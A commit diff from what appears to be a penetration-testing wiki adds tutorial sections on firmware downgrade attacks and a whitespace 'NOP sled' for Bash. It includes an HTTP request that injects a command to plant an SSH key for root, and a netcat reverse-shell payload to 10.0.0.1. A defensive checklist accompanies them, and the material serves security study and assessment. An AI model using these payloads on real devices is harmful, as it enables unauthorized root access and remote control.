You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/hardware-physical-access/firmware-analysis/README.md
+48Lines changed: 48 additions & 0 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -225,6 +225,53 @@ Operating systems like [AttifyOS](https://github.com/adi0x90/attifyos) and [Embe
225
225
-[**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS is a distro intended to help you perform security assessment and penetration testing of Internet of Things (IoT) devices. It saves you a lot of time by providing a pre-configured environment with all the necessary tools loaded.
226
226
-[**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Embedded security testing operating system based on Ubuntu 18.04 preloaded with firmware security testing tools.
Even when a vendor implements cryptographic signature checks for firmware images, **version rollback (downgrade) protection is frequently omitted**. When the boot- or recovery-loader only verifies the signature with an embedded public key but does not compare the *version* (or a monotonic counter) of the image being flashed, an attacker can legitimately install an **older, vulnerable firmware that still bears a valid signature** and thus re-introduce patched vulnerabilities.
231
+
232
+
Typical attack workflow:
233
+
234
+
1.**Obtain an older signed image**
235
+
* Grab it from the vendor’s public download portal, CDN or support site.
236
+
* Extract it from companion mobile/desktop applications (e.g. inside an Android APK under `assets/firmware/`).
237
+
* Retrieve it from third-party repositories such as VirusTotal, Internet archives, forums, etc.
238
+
2.**Upload or serve the image to the device** via any exposed update channel:
239
+
* Web UI, mobile-app API, USB, TFTP, MQTT, etc.
240
+
* Many consumer IoT devices expose *unauthenticated* HTTP(S) endpoints that accept Base64-encoded firmware blobs, decode them server-side and trigger recovery/upgrade.
241
+
3. After the downgrade, exploit a vulnerability that was patched in the newer release (for example a command-injection filter that was added later).
242
+
4. Optionally flash the latest image back or disable updates to avoid detection once persistence is gained.
243
+
244
+
### Example: Command Injection After Downgrade
245
+
246
+
```http
247
+
POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
248
+
Host: 192.168.0.1
249
+
Content-Type: application/octet-stream
250
+
Content-Length: 0
251
+
```
252
+
253
+
In the vulnerable (downgraded) firmware, the `md5` parameter is concatenated directly into a shell command without sanitisation, allowing injection of arbitrary commands (here – enabling SSH key-based root access). Later firmware versions introduced a basic character filter, but the absence of downgrade protection renders the fix moot.
254
+
255
+
### Extracting Firmware From Mobile Apps
256
+
257
+
Many vendors bundle full firmware images inside their companion mobile applications so that the app can update the device over Bluetooth/Wi-Fi. These packages are commonly stored unencrypted in the APK/APEX under paths like `assets/fw/` or `res/raw/`. Tools such as `apktool`, `ghidra`, or even plain `unzip` allow you to pull signed images without touching the physical hardware.
258
+
259
+
```
260
+
$ apktool d vendor-app.apk -o vendor-app
261
+
$ ls vendor-app/assets/firmware
262
+
firmware_v1.3.11.490_signed.bin
263
+
```
264
+
265
+
### Checklist for Assessing Update Logic
266
+
267
+
* Is the transport/authentication of the *update endpoint* adequately protected (TLS + authentication)?
268
+
* Does the device compare **version numbers** or a **monotonic anti-rollback counter** before flashing?
269
+
* Is the image verified inside a secure boot chain (e.g. signatures checked by ROM code)?
270
+
* Does userland code perform additional sanity checks (e.g. allowed partition map, model number)?
271
+
* Are *partial* or *backup* update flows re-using the same validation logic?
272
+
273
+
> 💡 If any of the above are missing, the platform is probably vulnerable to rollback attacks.
274
+
228
275
## Vulnerable firmware to practice
229
276
230
277
To practice discovering vulnerabilities in firmware, use the following vulnerable firmware projects as a starting point.
@@ -246,6 +293,7 @@ To practice discovering vulnerabilities in firmware, use the following vulnerabl
-[Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
296
+
-[Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
When a vulnerability lets you partially control an argument that ultimately reaches `system()` or another shell, you may not know the exact offset at which execution starts reading your payload. Traditional NOP sleds (e.g. `\x90`) do**not** work in shell syntax, but Bash will harmlessly ignore leading whitespace before executing a command.
346
+
347
+
Therefore you can create a *NOP sled for Bash* by prefixing your real command with a long sequence of spaces or tab characters:
348
+
349
+
```bash
350
+
# Payload sprayed into an environment variable / NVRAM entry
351
+
" nc -e /bin/sh 10.0.0.1 4444"
352
+
# 16× spaces ───┘ ↑ real command
353
+
```
354
+
355
+
If a ROP chain (or any memory-corruption primitive) lands the instruction pointer anywhere within the space block, the Bash parser simply skips the whitespace until it reaches `nc`, executing your command reliably.
356
+
357
+
Practical use cases:
358
+
359
+
1. **Memory-mapped configuration blobs** (e.g. NVRAM) that are accessible across processes.
360
+
2. Situations where the attacker can not write NULL bytes to align the payload.
361
+
3. Embedded devices where only BusyBox `ash`/`sh` is available – they also ignore leading spaces.
362
+
363
+
> 🛠️ Combine this trick with ROP gadgets that call `system()` to dramatically increase exploit reliability on memory-constrained IoT routers.
- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
0 commit comments